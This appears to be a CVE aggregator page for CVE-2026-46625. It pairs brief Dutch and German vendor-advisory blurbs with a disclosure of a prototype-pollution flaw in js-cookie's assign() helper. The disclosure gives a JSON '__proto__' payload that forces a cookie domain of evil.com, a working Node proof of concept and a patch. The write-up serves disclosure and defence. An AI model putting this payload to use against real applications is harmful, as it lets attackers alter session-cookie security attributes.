CVE-2026-46625

Atlassian heeft kwetsbaarheden verholpen in diverse producten zoals Bamboo, Bitbucket, Confluence, Jira, Crowd en Fisheye. De kwetsbaarheden bevinden zich in diverse Third-Party producten waar eerder updates voor zijn verschenen. Atlassian heeft deze updates verwerkt in de eigen producten.

Ein entfernter, anonymer Angreifer kann eine Schwachstelle in HCL BigFix ausnutzen, um Daten zu manipulieren.

Ein Angreifer kann mehrere Schwachstellen in Atlassian Bamboo, Bitbucket, Confluence, Fisheye, Crucible, Jira und Jira Service Management ausnutzen, um beliebigen Code auszuführen, erweiterte Berechtigungen zu erlangen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand auszulösen.

Ein Angreifer kann mehrere Schwachstellen in Atlassian Bamboo, Atlassian Bitbucket, Atlassian Confluence, Atlassian Crucible, Atlassian Fisheye und Atlassian Jira ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um Dateien zu manipulieren, um einen Cross-Site Scripting Angriff durchzuführen, um einen SQL-Injection Angriff durchzuführen, und um Sicherheitsvorkehrungen zu umgehen.

Ein Angreifer kann mehrere Schwachstellen in IBM Concert ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um Dateien zu manipulieren, um einen Cross-Site Scripting Angriff durchzuführen, um einen SQL-Injection Angriff durchzuführen und um Sicherheitsvorkehrungen zu umgehen.

## Summary `js-cookie`'s internal `assign()` helper copies properties with `for...in` + plain assignment. When the source object is produced by `JSON.parse`, the JSON object's `"__proto__"` member is an *own enumerable* property, so the `for…in` enumerates it and the `target[key] = source[key]` write triggers the **`Object.prototype.__proto__` setter** on the fresh `target` (`{}`). The result is a per-instance prototype hijack: `Object.prototype` itself is untouched, but the merged `attributes` object now inherits attacker-controlled keys. Because the consuming `set()` function then enumerates the merged object with another `for...in`, every key the attacker placed on the polluted prototype lands in the resulting `Set-Cookie` string as an attribute pair. The attacker can set `domain=`, `secure=`, `samesite=`, `expires=`, and `path=` on cookies whose attributes the developer thought were locked down. ## Impact Any application that forwards a JSON-derived object as the `attributes` argument to `Cookies.set`, `Cookies.remove`, `Cookies.withAttributes`, or `Cookies.withConverter` is vulnerable. This is the standard pattern when cookie configuration comes from a backend: ```js const cfg = await fetch('/config').then(r => r.json()); Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker ``` A payload of `{"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}}` causes js-cookie to emit: ``` Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None ``` ## Affected code ```js // src/assign.mjs — full file export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] for (var key in source) { // includes own enumerable '__proto__' target[key] = source[key] // [[Set]] form - fires __proto__ setter } } return target } ``` ## Proof of concept Node 22.11.0, no third-party deps: ### Environment setup ```bash mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc npm init -y npm i js-cookie ``` ### PoC ```js ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs let lastSetCookie = ''; globalThis.document = { get cookie() { return ''; }, set cookie(v) { lastSetCookie = v; } }; const { default: Cookies } = await import('js-cookie'); const attackerAttrs = JSON.parse( '{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}' ); Cookies.set('session', 'TOKEN', attackerAttrs); console.log('Set-Cookie that js-cookie wrote to document.cookie:'); console.log(lastSetCookie); ``` Execution: <img width="2614" height="1174" alt="cls-2026-05-14-01 44 39" src="https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62" /> ## Suggested patch ```diff --- a/src/assign.mjs +++ b/src/assign.mjs @@ export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] - for (var key in source) { - target[key] = source[key] - } + for (var key in source) { + if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue + Object.defineProperty(target, key, { + value: source[key], + writable: true, + enumerable: true, + configurable: true, + }) + } } return target } ``` Equivalent one-liner alternative - iterate own names only and filter: ```js for (const key of Object.getOwnPropertyNames(source)) { if (key === '__proto__') continue target[key] = source[key] } ```